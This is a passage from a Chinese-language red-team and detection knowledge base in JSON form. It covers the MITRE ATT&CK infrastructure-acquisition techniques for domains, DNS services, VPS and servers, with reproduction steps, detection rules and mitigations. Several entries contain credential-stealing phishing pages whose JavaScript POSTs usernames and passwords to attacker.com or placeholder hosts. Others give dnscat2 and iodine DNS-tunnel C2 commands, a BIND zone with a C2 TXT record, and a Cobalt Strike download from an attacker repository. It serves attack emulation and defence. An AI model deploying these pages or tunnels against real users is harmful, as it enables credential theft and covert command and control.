    "content": "# T1583-001-获取基础设施-域名\n\n## 描述\n攻击者在入侵目标组织之前，可能购买或注册域名以支持目标定位和攻击执行。域名是人类可读的名称，用于表示一个或多个IP地址，可通过域名注册商购买或在某些情况下免费获得。攻击者可能利用这些域名开展多种恶意活动，例如网络钓鱼（T1566）、路过式下载（T1189）、命令与控制（T1102）或恶意软件分发。\n\n攻击者可能采取以下策略获取和使用域名：\n- **相似域名伪造**：注册与合法域名相似的域名（如错别字域名、同形异义字或不同顶级域名TLD），用于钓鱼或欺骗。\n- **国际化域名（IDN）**：利用Unicode字符创建外观相似的域名，混淆用户。\n- **私有WHOIS服务**：使用隐私保护服务隐藏域名注册信息，增加追踪难度。\n- **分散注册**：通过多个注册商和不同注册信息购买域名，掩盖基础设施关联性。\n- **抢注域名**：抢注过期或即将过期的域名，用于恶意活动。\n\n收集到的域名基础设施可能为后续攻击提供支持，例如通过钓鱼实现初始访问、建立命令与控制通道或分发恶意载荷。\n\n## 测试案例\n以下是模拟攻击者获取和使用域名的常见方法和案例：\n- **相似域名注册**：\n  - 注册类似目标组织的域名（如`meituam.cn`伪装`meituan.com`），用于钓鱼。\n  - 示例：攻击者注册`app1e.com`（使用数字“1”替代字母“l”）冒充`apple.com`，诱导用户输入凭据。\n- **私有WHOIS**：\n  - 使用隐私保护服务（如WhoisGuard、Privacy.com）隐藏注册信息。\n- **钓鱼网站搭建**：\n  - 在伪造域名上部署钓鱼页面，模仿目标组织的登录界面。\n  - 示例：参考案例 <https://www.sohu.com/a/452671903_648183>，不法分子搭建`www.meituam.cn`，通过短信诱导商户输入个人信息和缴费，涉案金额80余万元。\n- **国际化域名（IDN）**：\n  - 注册类似`xn--pple-4ua.com`（显示为`äpple.com`）的IDN域名，欺骗用户。\n- **工具支持**：\n  - 使用GoDaddy、Namecheap等注册商购买域名。\n  - 使用自动化工具（如DomainTools）查询目标相关域名，寻找可抢注的过期域名。\n- **案例场景**：\n  - 攻击者注册`target-corp-login.com`，搭建伪装的员工登录页面，通过钓鱼邮件分发链接，窃取凭据。\n  - 在电商平台冒充Apple服务，注册`app1e-support.com`，诱导用户输入账户密码，实现“软解密”欺诈。\n\n## 检测日志\n域名获取活动多发生在目标组织监测范围之外，难以直接监测。以下是可能的日志来源：\n- **DNS日志**：\n  - 检测异常的DNS查询，可能与伪造域名或IDN相关。\n- **邮件服务器日志**：\n  - 监控钓鱼邮件，可能包含伪造域名的恶意链接。\n- **Web服务器日志**：\n  - 记录访问伪造域名的异常HTTP请求。\n- **威胁情报日志**：\n  - 记录与已知恶意域名或注册商相关的活动。\n\n## 测试复现\n以下是模拟攻击者获取域名的步骤：\n1. **环境准备**：\n   - 选择目标组织（如`target.com`），分析其域名结构。\n   - 准备测试环境，确保在授权范围内操作。\n2. **域名注册**：\n   - 使用Namecheap或GoDaddy注册类似域名（如`target-corp.com`）。\n   - 启用WHOIS隐私保护服务，隐藏注册信息。\n3. **钓鱼页面搭建**：\n   - 在注册的域名上部署伪装的登录页面，使用HTML模板模仿目标网站。\n   - 嵌入JavaScript收集用户凭据：\n     ```javascript\n     document.getElementById('login-form').addEventListener('submit', function(e) {\n         e.preventDefault();\n         var data = {\n             username: document.getElementById('username').value,\n             password: document.getElementById('password').value\n         };\n         fetch('http://attacker.com/collect', {\n             method: 'POST',\n             body: JSON.stringify(data)\n         });\n     });\n     ```\n4. **分发钓鱼链接**：\n   - 通过邮件或社交媒体发送伪造域名链接，诱导用户访问。\n5. **结果分析**：\n   - 收集捕获的凭据，分析钓鱼效果。\n6. **日志收集**：\n   - 收集DNS、邮件和Web服务器日志，验证伪造域名的使用痕迹。\n\n## 测试留痕\n域名获取和使用可能留下以下痕迹：\n- **DNS查询**：异常的DNS解析请求，涉及伪造域名或IDN。\n- **邮件服务器日志**：钓鱼邮件中包含伪造域名的链接。\n- **Web服务器日志**：访问伪造域名的HTTP请求，或异常的404/403响应。\n- **威胁情报**：已知恶意域名的注册信息或IP关联。\n\n## 检测规则/思路\n由于域名获取活动多发生在目标组织视野之外，检测需结合多种手段：\n- **DNS监控**：\n  - 检测异常DNS查询，重点关注与目标域名相似的伪造域名。\n  - 示例DNS防火墙规则：\n    ```plaintext\n    Rule: Detect Similar Domains\n    Condition: DNS query contains \"target\" AND NOT \"target.com\"\n    Action: Alert\n    ```\n- **邮件监控**：\n  - 使用DLP（数据丢失防护）工具检测钓鱼邮件，重点检查包含伪造域名的链接。\n  - 示例DLP规则：\n    ```plaintext\n    Rule: Detect Phishing Domains\n    Condition: Email contains \"http\" AND NOT \"target.com\"\n    Action: Alert\n    ```\n- **WHOIS查询**：\n  - 使用DomainTools或ICANN Lookup监控与目标域名相似的注册活动。\n  - 示例：查询`*.target*`的WHOIS记录，检测错别字域名。\n- **威胁情报整合**：\n  - 结合威胁情报平台（如微步在线、奇安信），识别已知的恶意域名或注册商。\n  - 监控Pastebin或暗网论坛，检查是否出现与目标相关的伪造域名。\n- **日志关联**：\n  - 使用SIEM（如Splunk、ELK）关联DNS、邮件和Web日志，检测伪造域名的使用模式。\n\n## 建议\n- **减少暴露面**：\n  - 注册与组织域名相似的防御性域名，防止错别字域名攻击。\n  - 使用WHOIS隐私保护服务，隐藏合法域名的注册信息。\n- **安全意识培训**：\n  - 对员工进行钓鱼防御培训，警惕伪造域名的恶意链接。\n  - 教育员工验证域名真实性，避免访问可疑网站。\n- **安全加固**：\n  - 配置DNS防火墙（如Cloudflare Gateway）拦截伪造域名查询。\n  - 实施MFA（多因素认证）保护与域名相关的账户。\n  - 使用WAF保护合法网站，拦截异常流量。\n- **主动监控与响应**：\n  - 使用DomainTools或WhoisXML API定期监控新注册的相似域名。\n  - 部署Google Alerts，监控与组织相关的伪造域名提及。\n  - 使用威胁狩猎（Threat Hunting）技术，主动搜索可能的域名滥用活动。\n- **后续阶段检测**：\n  - 重点监控攻击者生命周期的后续阶段（如初始访问T1566、命令与控制T1102），通过异常流量或钓鱼行为间接发现域名获取活动。\n\n## 参考资料\n- MITRE ATT&CK: T1583-001  \n  <https://attack.mitre.org/techniques/T1583/001/>\n- 不法分子高仿某外卖平台网站，入驻商户遭遇“钓鱼攻击”  \n  <https://www.sohu.com/a/452671903_648183>\n- 全流程信息收集方法总结  \n  <https://www.freebuf.com/articles/database/195169.html>"
  },
  {
    "path": "Windows/02资源开发/T1583.002-获取基础设施-DNS服务.md",
    "content": "# T1583-002-获取基础设施-DNS服务\n\n## 描述\n攻击者在入侵目标组织之前，可能设置并控制自己的域名系统（DNS）服务器，以支持目标定位和攻击执行。通过运行自有DNS服务器，攻击者可以实现对DNS流量的精细控制，用于命令与控制（C2）、数据泄露或其他恶意活动。相较于劫持现有DNS服务器，自建DNS服务器提供了更高的灵活性和隐蔽性，特别是在基于DNS的C2通道中。\n\n攻击者可能通过以下方式利用自建DNS服务器：\n- **命令与控制（C2）**：通过DNS查询（如TXT记录）传输C2指令，绕过传统防火墙检测。\n- **DNS隧道（DNS Tunneling）**：将恶意数据封装在DNS协议中，用于数据泄露或隐蔽通信。\n- **钓鱼支持**：使用自建DNS服务器解析伪造域名，配合钓鱼攻击。\n- **条件响应**：配置DNS服务器根据客户端特征（如IP、User-Agent）返回特定的恶意响应。\n\nDNS服务器的隐蔽性得益于DNS协议的普遍性和低检测率，因为大多数防火墙和IDS对DNS流量缺乏深入分析。攻击者可能通过购买域名、租用云服务器或使用开源DNS软件（如BIND、PowerDNS）快速搭建DNS基础设施。\n\n## 测试案例\n以下是模拟攻击者获取和使用DNS服务的常见方法和工具：\n\n### 1. **DNS隧道（DNS Tunneling）**\nDNS隧道通过将数据封装在DNS协议中传输，绕过防火墙和IDS的检测。分为直连和中继两种模式：\n- **直连模式**：客户端直接与攻击者的权威DNS服务器通信，速度快但隐蔽性较弱。\n  ```bash\n  # 使用dnscat2建立直连DNS隧道\n  dnscat2 --dns server=attacker.com,port=53 --secret=secretkey\n  ```\n- **中继模式**：通过递归DNS查询，经过多个节点传输数据，隐蔽性强但速度较慢。\n  ```bash\n  # 使用iodine建立中继DNS隧道\n  iodine -f -P secretkey attacker.com\n  ```\n\n### 2. **DNS服务器搭建**\n- **工具**：\n  - **BIND** (<https://www.isc.org/bind>): 开源DNS服务器软件，用于搭建权威DNS服务器。\n  - **PowerDNS** (<https://www.powerdns.com>): 支持灵活的DNS记录配置。\n  - **dnscat2** (<https://github.com/iagox86/dnscat2>): 用于DNS隧道的C2工具。\n  - **iodine** (<https://github.com/yarrick/iodine>): 支持DNS隧道的数据传输。\n  - **Cobalt Strike DNS Beacon**: 商业攻击框架，支持DNS C2通道。\n- **示例**：\n  - 在云服务器（如AWS、阿里云）上部署BIND，配置TXT记录用于C2。\n    ```bash\n    # BIND配置文件示例 (/etc/named.conf)\n    zone \"attacker.com\" {\n        type master;\n        file \"/var/named/attacker.com.zone\";\n    };\n    # 区域文件 (/var/named/attacker.com.zone)\n    $TTL 3600\n    @ IN SOA ns1.attacker.com. admin.attacker.com. (\n        2025060401 ; Serial\n        3600       ; Refresh\n        1800       ; Retry\n        604800     ; Expire\n        3600 )     ; Minimum\n    @ IN NS ns1.attacker.com.\n    ns1 IN A 192.168.1.100\n    c2 IN TXT \"command:execute_payload\"\n    ```\n  - 使用dnscat2建立DNS C2通道：\n    ```bash\n    # 服务端\n    dnscat2 --dns server=0.0.0.0,port=53\n    # 客户端\n    dnscat2 --dns server=attacker.com,port=53\n    ```\n\n### 3. **DNS over HTTPS (DoH)**\n- 使用DoH隐藏DNS流量，增加隐蔽性。\n  - 参考：<https://xz.aliyun.com/t/3068>，使用DoH构建弹性C2基础设施。\n  - 工具：Cloudflared、AdGuard。\n    ```bash\n    # 使用Cloudflared配置DoH服务器\n    cloudflared --url https://attacker.com/dns-query\n    ```\n\n### 4. **案例场景**\n- 攻击者租用云服务器，部署BIND作为权威DNS服务器，配置TXT记录用于C2通信。\n- 使用iodine在目标网络中建立DNS隧道，泄露敏感数据。\n- 伪装DoH流量为正常HTTPS请求，绕过IDS检测，参考：<https://xz.aliyun.com/t/3068>。\n\n## 检测日志\nDNS服务相关活动多发生在目标组织监测范围之外，难以直接监测。以下是可能的日志来源：\n- **DNS日志**：\n  - 记录异常的DNS查询，如高频TXT记录查询或可疑域名解析。\n- **网络流量日志**：\n  - 检测异常的DNS流量模式，如大流量DNS请求或非标准端口的DNS通信。\n- **防火墙/IDS日志**：\n  - 记录异常的DNS服务器IP或可疑C2流量。\n- **Web服务器日志**：\n  - 检测与钓鱼域名相关的HTTP请求，可能由攻击者的DNS服务器解析。\n\n## 测试复现\n以下是模拟攻击者获取DNS服务的步骤：\n1. **环境准备**：\n   - 租用云服务器（如AWS EC2），安装BIND或PowerDNS。\n   - 注册域名（如`attacker.com`），配置NS记录指向自建DNS服务器。\n2. **DNS服务器配置**：\n   - 部署BIND并配置C2记录：\n     ```bash\n     # 安装BIND\n     sudo apt install bind9\n     # 配置区域文件\n     echo '$TTL 3600\n     @ IN SOA ns1.attacker.com. admin.attacker.com. (\n         2025060401 ; Serial\n         3600       ; Refresh\n         1800       ; Retry\n         604800     ; Expire\n         3600 )     ; Minimum\n     @ IN NS ns1.attacker.com.\n     ns1 IN A 192.168.1.100\n     c2 IN TXT \"command:execute_payload\"' > /var/named/attacker.com.zone\n     ```\n   - 启动BIND：\n     ```bash\n     sudo systemctl start named\n     ```\n3. **DNS隧道测试**：\n   - 使用dnscat2建立C2通道：\n     ```bash\n     # 服务端\n     dnscat2 --dns server=0.0.0.0,port=53\n     # 客户端\n     dnscat2 --dns server=attacker.com,port=53\n     ```\n   - 使用iodine建立数据隧道：\n     ```bash\n     iodine -f -P secretkey attacker.com\n     ```\n4. **DoH测试**：\n   - 配置Cloudflared支持DoH：\n     ```bash\n     cloudflared --url https://attacker.com/dns-query\n     ```\n5. **结果分析**：\n   - 验证DNS服务器是否响应C2指令或隧道数据。\n6. **日志收集**：\n   - 收集DNS服务器、防火墙和网络流量日志，分析查询模式和流量特征。\n\n## 测试留痕\nDNS服务相关活动可能留下以下痕迹：\n- **DNS查询**：高频TXT、NULL或异常记录类型的查询。\n- **网络流量**：异常DNS流量，如大流量请求或非标准端口通信。\n- **防火墙/IDS告警**：触发DNS隧道或C2相关的检测规则。\n- **Web服务器日志**：与钓鱼域名相关的HTTP请求，可能由攻击者的DNS服务器解析。\n\n## 检测规则/思路\n由于DNS服务活动多发生在目标组织视野之外，检测需结合多种手段：\n- **DNS流量监控**：\n  - 检测异常DNS查询模式，如高频TXT记录查询或异常域名。\n  - 示例Snort规则：\n    ```snort\n    alert udp any any -> any 53 (msg:\"Suspicious DNS TXT Query\"; content:\"TXT\"; threshold: type threshold, track by_src, count 50, seconds 60; sid:1000001;)\n    ```\n  - 使用DNS防火墙（如Cloudflare Gateway）拦截可疑DNS请求。\n- **网络流量分析**：\n  - 使用IDS/IPS（如Snort、Suricata）检测DNS隧道流量，关注大流量DNS请求或非标准端口。\n  - 示例Suricata规则：\n    ```suricata\n    alert dns any any -> any any (msg:\"Potential DNS Tunneling\"; dns_query; content:\"attacker.com\"; threshold: type threshold, track by_src, count 100, seconds 60; sid:1000002;)\n    ```\n- **威胁情报整合**：\n  - 结合威胁情报平台（如微步在线、奇安信），识别已知的恶意DNS服务器IP或域名。\n  - 监控WHOIS数据库，检测与攻击相关的域名注册。\n- **日志关联**：\n  - 使用SIEM（如Splunk、ELK）关联DNS和网络流量日志，检测异常查询或C2模式。\n  - 监控DoH流量，检查异常的HTTPS请求模式。\n\n## 建议\n- **减少暴露面**：\n  - 限制内部网络对非授权DNS服务器的访问，仅允许可信DNS（如8.8.8.8）。\n  - 监控员工设备是否使用未知DNS服务器。\n- **安全加固**：\n  - 配置DNS防火墙，拦截异常DNS查询或可疑域名。\n  - 实施DNSSEC（DNS安全扩展）防止DNS欺骗。\n  - 使用WAF保护与DNS相关的钓鱼网站，拦截异常流量。\n- **主动监控与响应**：\n  - 部署DNS日志分析工具（如Splunk、ELK），监控高频或异常DNS查询。\n  - 使用威胁情报工具（如DomainTools）跟踪新注册的恶意域名。\n  - 使用威胁狩猎（Threat Hunting）技术，主动搜索可能的DNS隧道或C2活动。\n- **后续阶段检测**：\n  - 重点监控攻击者生命周期的后续阶段（如命令与控制T1102、数据泄露T1567），通过异常DNS流量间接发现基础设施活动。\n\n## 参考资料\n- MITRE ATT&CK: T1583-002  \n  <https://attack.mitre.org/techniques/T1583/002/>\n- 使用DNS over HTTPS（DoH）构建弹性C2基础架构  \n  <https://xz.aliyun.com/t/3068>\n- 全流程信息收集方法总结  \n  <https://www.freebuf.com/articles/database/195169.html>"
  },
  {
    "path": "Windows/02资源开发/T1583.003-获取基础设施-虚拟专用服务器.md",
    "content": "# T1583-003-获取基础设施-虚拟专用服务器\n\n## 描述\n攻击者在入侵目标组织之前，可能租用虚拟专用服务器（VPS）以支持目标定位和攻击执行。VPS是一种通过虚拟化技术（如容器或虚拟机）将物理服务器分割为多个独立虚拟服务器的服务，每个VPS拥有独立的公网IP、操作系统、磁盘空间、内存和CPU资源。攻击者利用VPS可以快速设置、修改或销毁基础设施，增加追踪难度，并借助云服务提供商的高声誉掩盖恶意活动。\n\n攻击者可能通过以下方式利用VPS：\n- **命令与控制（C2）**：使用VPS作为C2服务器，通过HTTP、DNS或其他协议与受感染主机通信。\n- **钓鱼和恶意内容托管**：在VPS上部署钓鱼网站或恶意文件分发点。\n- **代理和中继**：将VPS用作代理服务器，隐藏攻击者的真实IP。\n- **匿名性增强**：选择以最低注册信息要求提供VPS的供应商，降低被追踪的风险。\n\nVPS的灵活性和云服务的高可用性使其成为攻击者的理想选择，尤其是在需要快速部署或销毁基础设施的场景中。\n\n## 测试案例\n以下是模拟攻击者获取和使用VPS的常见方法和案例：\n- **VPS租用**：\n  - 通过云服务提供商（如AWS EC2、阿里云ECS、DigitalOcean、Vultr、Linode）租用VPS。\n  - 选择支持匿名注册或加密货币支付的供应商（如NJalla、Hostinger）以隐藏身份。\n- **VPS用途**：\n  - **C2服务器**：在VPS上部署Cobalt Strike或Metasploit，配置HTTP/HTTPS C2通道。\n    ```bash\n    # 在VPS上启动Cobalt Strike\n    ./teamserver <VPS_IP> <password>\n    ```\n  - **钓鱼网站**：在VPS上部署伪装的登录页面，诱导用户输入凭据。\n    ```html\n    <!-- 伪装登录页面 -->\n    <html>\n    <head><title>TargetCorp Login</title></head>\n    <body>\n        <form id=\"login-form\">\n            <input type=\"text\" id=\"username\" placeholder=\"Username\">\n            <input type=\"password\" id=\"password\" placeholder=\"Password\">\n            <input type=\"submit\" value=\"Login\">\n        </form>\n        <script>\n            document.getElementById('login-form').addEventListener('submit', function(e) {\n                e.preventDefault();\n                var data = {\n                    username: document.getElementById('username').value,\n                    password: document.getElementById('password').value\n                };\n                fetch('http://<VPS_IP>/collect', {\n                    method: 'POST',\n                    body: JSON.stringify(data)\n                });\n            });\n        </script>\n    </body>\n    </html>\n    ```\n  - **代理中继**：配置VPS为SOCKS5代理，隐藏攻击者流量。\n    ```bash\n    # 在VPS上配置SOCKS5代理\n    ssh -D 1080 -f -N user@<VPS_IP>\n    ```\n- **案例场景**：\n  - 攻击者租用DigitalOcean VPS，部署Cobalt Strike C2服务器，通过HTTPS通信控制受感染主机。\n  - 在Vultr VPS上搭建钓鱼网站，伪装成目标组织的内部门户，窃取员工凭据。\n  - 参考案例：攻击者利用VPS托管恶意软件分发点，结合钓鱼邮件传播。\n\n## 检测日志\nVPS相关活动多发生在目标组织监测范围之外，难以直接监测。以下是可能的日志来源：\n- **网络流量日志**：\n  - 检测与已知VPS提供商IP范围的异常通信，如AWS、DigitalOcean的IP段。\n- **DNS日志**：\n  - 记录解析到VPS IP的异常域名查询，可能与C2或钓鱼相关。\n- **邮件服务器日志**：\n  - 监控钓鱼邮件，可能包含指向VPS托管的恶意链接。\n- **防火墙/IDS日志**：\n  - 检测与VPS IP的异常HTTP/HTTPS流量或C2模式。\n- **Web服务器日志**：\n  - 记录访问VPS托管钓鱼网站的HTTP请求。\n\n## 测试复现\n以下是模拟攻击者获取VPS的步骤：\n1. **环境准备**：\n   - 租用VPS（如DigitalOcean、阿里云ECS），配置公网IP和操作系统（如Ubuntu）。\n   - 注册域名并指向VPS IP。\n2. **VPS配置**：\n   - 部署C2服务器：\n     ```bash\n     # 安装Cobalt Strike\n     wget https://<attacker_repo>/cobaltstrike.jar\n     java -jar cobaltstrike.jar\n     # 配置HTTPS Beacon\n     ./teamserver <VPS_IP> <password> /path/to/profile\n     ```\n   - 部署钓鱼网站：\n     ```bash\n     # 安装Nginx\n     sudo apt install nginx\n     # 将钓鱼页面部署到Nginx\n     cp phishing.html /var/www/html/index.html\n     sudo systemctl start nginx\n     ```\n   - 配置SOCKS5代理：\n     ```bash\n     ssh -D 1080 -f -N user@<VPS_IP>\n     ```\n3. **测试执行**：\n   - 发送钓鱼邮件，诱导目标访问VPS上的伪装页面。\n   - 使用C2客户端连接VPS，模拟命令与控制。\n4. **结果分析**：\n   - 验证C2通道或钓鱼页面是否正常运行。\n5. **日志收集**：\n   - 收集DNS、网络流量和Web服务器日志，分析VPS相关活动痕迹。\n\n## 测试留痕\nVPS相关活动可能留下以下痕迹：\n- **DNS查询**：解析到VPS提供商IP的异常域名。\n- **网络流量**：与VPS IP的异常HTTP/HTTPS流量或C2通信模式。\n- **防火墙/IDS告警**：触发C2或钓鱼相关的检测规则。\n- **邮件服务器日志**：钓鱼邮件中包含VPS托管的链接。\n- **Web服务器日志**：访问VPS钓鱼页面的HTTP请求。\n\n## 检测规则/思路\n由于VPS活动多发生在目标组织视野之外，检测需结合多种手段：\n- **网络流量监控**：\n  - 检测与已知VPS提供商IP范围的异常通信。\n  - 示例Snort规则：\n    ```snort\n    alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:\"Suspicious VPS Traffic\"; content:\"digitalocean.com\"; sid:1000001;)\n    ```\n  - 使用NetFlow或Zeek分析与VPS的长期连接或异常流量模式。\n- **DNS监控**：\n  - 检测解析到VPS IP的异常域名，重点关注新注册或可疑域名。\n  - 示例DNS防火墙规则：\n    ```plaintext\n    Rule: Detect Suspicious VPS Domains\n    Condition: DNS query resolves to <AWS_IP_RANGE> OR <DigitalOcean_IP_RANGE>\n    Action: Alert\n    ```\n- **邮件监控**：\n  - 使用DLP工具检测钓鱼邮件，检查包含VPS IP或域名的链接。\n  - 示例DLP规则：\n    ```plaintext\n    Rule: Detect Phishing Links to VPS\n    Condition: Email contains \"http\" AND \"<VPS_IP>\"\n    Action: Alert\n    ```\n- **威胁情报整合**：\n  - 结合威胁情报平台（如微步在线、奇安信），识别已知的恶意VPS IP或C2域名。\n  - 监控WHOIS数据库，检测与VPS相关的域名注册。\n- **日志关联**：\n  - 使用SIEM（如Splunk、ELK）关联DNS、网络和邮件日志，检测VPS相关C2或钓鱼活动。\n\n## 建议\n- **减少暴露面**：\n  - 限制员工访问未知或可疑的VPS托管网站。\n  - 使用URL过滤器拦截已知VPS提供商的恶意IP或域名。\n- **安全加固**：\n  - 配置防火墙限制与未知VPS IP的通信。\n  - 实施MFA保护与员工相关的账户，防止凭据被VPS钓鱼网站窃取。\n  - 使用WAF保护合法网站，拦截异常流量。\n- **主动监控与响应**：\n  - 使用Shodan或Censys监控VPS IP的暴露服务，识别潜在恶意活动。\n  - 部署SIEM工具，分析与VPS相关的异常流量模式。\n  - 使用威胁狩猎（Threat Hunting）技术，主动搜索可能的VPS滥用行为。\n- **后续阶段检测**：\n  - 重点监控攻击者生命周期的后续阶段（如命令与控制T1102、钓鱼T1566），通过异常流量或C2行为间接发现VPS活动。\n\n## 参考资料\n- MITRE ATT&CK: T1583-003  \n  <https://attack.mitre.org/techniques/T1583/003/>\n- 全流程信息收集方法总结  \n  <https://www.freebuf.com/articles/database/195169.html>"
  },
  {
    "path": "Windows/02资源开发/T1583.004-获取基础设施-服务器.md",
    "content": "# T1583-004-获取基础设施-服务器\n\n## 描述\n攻击者在入侵目标组织之前，可能购买、租用或租赁物理或虚拟服务器以支持目标定位和攻击执行。服务器可以是物理硬件、托管在数据中心的专用服务器，或者基于云的虚拟服务器。与入侵第三方服务器或租用虚拟专用服务器（VPS）相比，自建或租赁服务器为攻击者提供了更高的控制权和灵活性，可用于多种恶意活动，例如命令与控制（C2）、钓鱼网站托管、恶意软件分发或数据存储。\n\n攻击者可能通过以下方式利用服务器：\n- **命令与控制（C2）**：使用服务器作为C2节点，通过HTTP、HTTPS、DNS或其他协议与受感染主机通信。\n- **钓鱼和恶意内容托管**：在服务器上部署伪装的登录页面或恶意文件下载点。\n- **代理和中继**：将服务器配置为代理，隐藏攻击者的真实IP。\n- **测试和演练**：在服务器上运行测试环境，模拟攻击流程或开发恶意软件。\n- **匿名性增强**：选择支持匿名注册或加密货币支付的服务器供应商，降低被追踪的风险。\n\n服务器的高性能和可控性使其成为攻击者构建复杂基础设施的理想选择，尤其是在需要大规模或长期操作的场景中。\n\n## 测试案例\n以下是模拟攻击者获取和使用服务器的常见方法和案例：\n- **服务器租用**：\n  - 通过服务提供商（如Hetzner、OVH、阿里云、AWS）租用专用服务器或云服务器。\n  - 选择支持加密货币支付的供应商（如BitLaunch、HostSailor）以隐藏身份。\n- **服务器用途**：\n  - **C2服务器**：在服务器上部署Cobalt Strike、Metasploit或自定义C2框架。\n    ```bash\n    # 在服务器上启动Cobalt Strike\n    ./teamserver <SERVER_IP> <password> /path/to/profile\n    ```\n  - **钓鱼网站**：部署伪装的登录页面，窃取用户凭据。\n    ```html\n    <!-- 伪装登录页面 -->\n    <html>\n    <head><title>TargetCorp Login</title></head>\n    <body>\n        <form id=\"login-form\">\n            <input type=\"text\" id=\"username\" placeholder=\"Username\">\n            <input type=\"password\" id=\"password\" placeholder=\"Password\">\n            <input type=\"submit\" value=\"Login\">\n        </form>\n        <script>\n            document.getElementById('login-form').addEventListener('submit', function(e) {\n                e.preventDefault();\n                var data = {\n                    username: document.getElementById('username').value,\n                    password: document.getElementById('password').value\n                };\n                fetch('http://<SERVER_IP>/collect', {\n                    method: 'POST',\n                    body: JSON.stringify(data)\n                });\n            });\n        </script>\n    </body>\n    </html>\n    ```\n  - **代理中继**：配置服务器为SOCKS5或HTTP代理，隐藏攻击者流量。\n    ```bash\n    # 配置SOCKS5代理\n    ssh -D 1080 -f -N user@<SERVER_IP>\n    ```\n  - **恶意软件测试**：在服务器上运行沙箱环境，测试恶意软件行为。\n    ```bash\n    # 安装沙箱工具（如Cuckoo Sandbox）\n    sudo pip install cuckoo\n    cuckoo --host <SERVER_IP>\n    ```\n- **案例场景**：\n  - 攻击者租用Hetzner服务器，部署Cobalt Strike C2，通过HTTPS通信控制受感染主机。\n  - 在OVH服务器上托管钓鱼网站，伪装成目标组织的内部门户，窃取员工凭据。\n  - 参考案例：攻击者利用服务器托管恶意软件分发点，结合钓鱼邮件传播。\n\n## 检测日志\n服务器相关活动多发生在目标组织监测范围之外，难以直接监测。以下是可能的日志来源：\n- **网络流量日志**：\n  - 检测与已知服务器提供商IP范围的异常通信，如Hetzner、OVH的IP段。\n- **DNS日志**：\n  - 记录解析到服务器IP的异常域名查询，可能与C2或钓鱼相关。\n- **邮件服务器日志**：\n  - 监控钓鱼邮件，可能包含指向服务器托管的恶意链接。\n- **防火墙/IDS日志**：\n  - 检测与服务器IP的异常HTTP/HTTPS流量或C2模式。\n- **Web服务器日志**：\n  - 记录访问服务器托管钓鱼网站的HTTP请求。\n\n## 测试复现\n以下是模拟攻击者获取服务器的步骤：\n1. **环境准备**：\n   - 租用服务器（如Hetzner、阿里云ECS），配置公网IP和操作系统（如Ubuntu）。\n   - 注册域名并指向服务器IP。\n2. **服务器配置**：\n   - 部署C2服务器：\n     ```bash\n     # 安装Cobalt Strike\n     wget https://<attacker_repo>/cobaltstrike.jar\n     java -jar cobaltstrike.jar\n     # 配置HTTPS Beacon\n     ./teamserver <SERVER_IP> <password> /path/to/profile\n     ```\n   - 部署钓鱼网站：\n     ```bash\n     # 安装Nginx\n     sudo apt install nginx\n     # 部署钓鱼页面\n     cp phishing.html /var/www/html/index.html\n     sudo systemctl start nginx\n     ```\n   - 配置SOCKS5代理：\n     ```bash\n     ssh -D 1080 -f -N user@<SERVER_IP>\n     ```\n3. **测试执行**：\n   - 发送钓鱼邮件，诱导目标访问服务器上的伪装页面。\n   - 使用C2客户端连接服务器，模拟命令与控制。\n4. **结果分析**：\n   - 验证C2通道或钓鱼页面是否正常运行。\n5. **日志收集**：\n   - 收集DNS、网络流量和Web服务器日志，分析服务器相关活动痕迹。\n\n## 测试留痕\n服务器相关活动可能留下以下痕迹：\n- **DNS查询**：解析到服务器IP的异常域名。\n- **网络流量**：与服务器IP的异常HTTP/HTTPS流量或C2通信模式。\n- **防火墙/IDS告警**：触发C2或钓鱼相关的检测规则。\n- **邮件服务器日志**：钓鱼邮件中包含服务器托管的链接。\n- **Web服务器日志**：访问服务器钓鱼页面的HTTP请求。\n\n## 检测规则/思路\n由于服务器活动多发生在目标组织视野之外，检测需结合多种手段：\n- **网络流量监控**：\n  - 检测与已知服务器提供商IP范围的异常通信。\n  - 示例Snort规则：\n    ```snort\n    alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:\"Suspicious Server Traffic\"; content:\"hetzner.com\"; sid:1000001;)\n    ```\n  - 使用NetFlow或Zeek分析与服务器的长期连接或异常流量模式。\n- **DNS监控**：\n  - 检测解析到服务器IP的异常域名，重点关注新注册或可疑域名。\n  - 示例DNS防火墙规则：\n    ```plaintext\n    Rule: Detect Suspicious Server Domains\n    Condition: DNS query resolves to <Hetzner_IP_RANGE> OR <OVH_IP_RANGE>\n    Action: Alert\n    ```\n- **邮件监控**：\n  - 使用DLP工具检测钓鱼邮件，检查包含服务器IP或域名的链接。\n  - 示例DLP规则：\n    ```plaintext\n    Rule: Detect Phishing Links to Server\n    Condition: Email contains \"http\" AND \"<SERVER_IP>\"\n    Action: Alert\n    ```\n- **威胁情报整合**：\n  - 结合威胁情报平台（如微步在线、奇安信），识别已知的恶意服务器IP或C2域名。\n  - 监控WHOIS数据库，检测与服务器相关的域名注册。\n- **日志关联**：\n  - 使用SIEM（如Splunk、ELK）关联DNS、网络和邮件日志，检测服务器相关C2或钓鱼活动。\n\n## 建议\n- **减少暴露面**：\n  - 限制员工访问未知或可疑的服务器托管网站。\n  - 使用URL过滤器拦截已知服务器提供商的恶意IP或域名。\n- **安全加固**：\n  - 配置防火墙限制与未知服务器IP的通信。\n  - 实施MFA保护与员工相关的账户，防止凭据被服务器钓鱼网站窃取。\n  - 使用WAF保护合法网站，拦截异常流量。\n- **主动监控与响应**：\n  - 使用Shodan或Censys监控服务器IP的暴露服务，识别潜在恶意活动。\n  - 部署SIEM工具，分析与服务器相关的异常流量模式。\n  - 使用威胁狩猎（Threat Hunting）技术，主动搜索可能的服务器滥用行为。\n- **后续阶段检测**：\n  - 重点监控攻击者生命周期的后续阶段（如命令与控制T1102、钓鱼T1566），通过异常流量或C2行为间接发现服务器活动。\n\n## 参考资料\n- MITRE ATT&CK: T1583-004  \n  <https://attack.mitre.org/techniques/T1583/004/>\n"
  },
  {
    "path": "Windows/02资源开发/T1583.005-获取基础设施-僵尸网络.md",
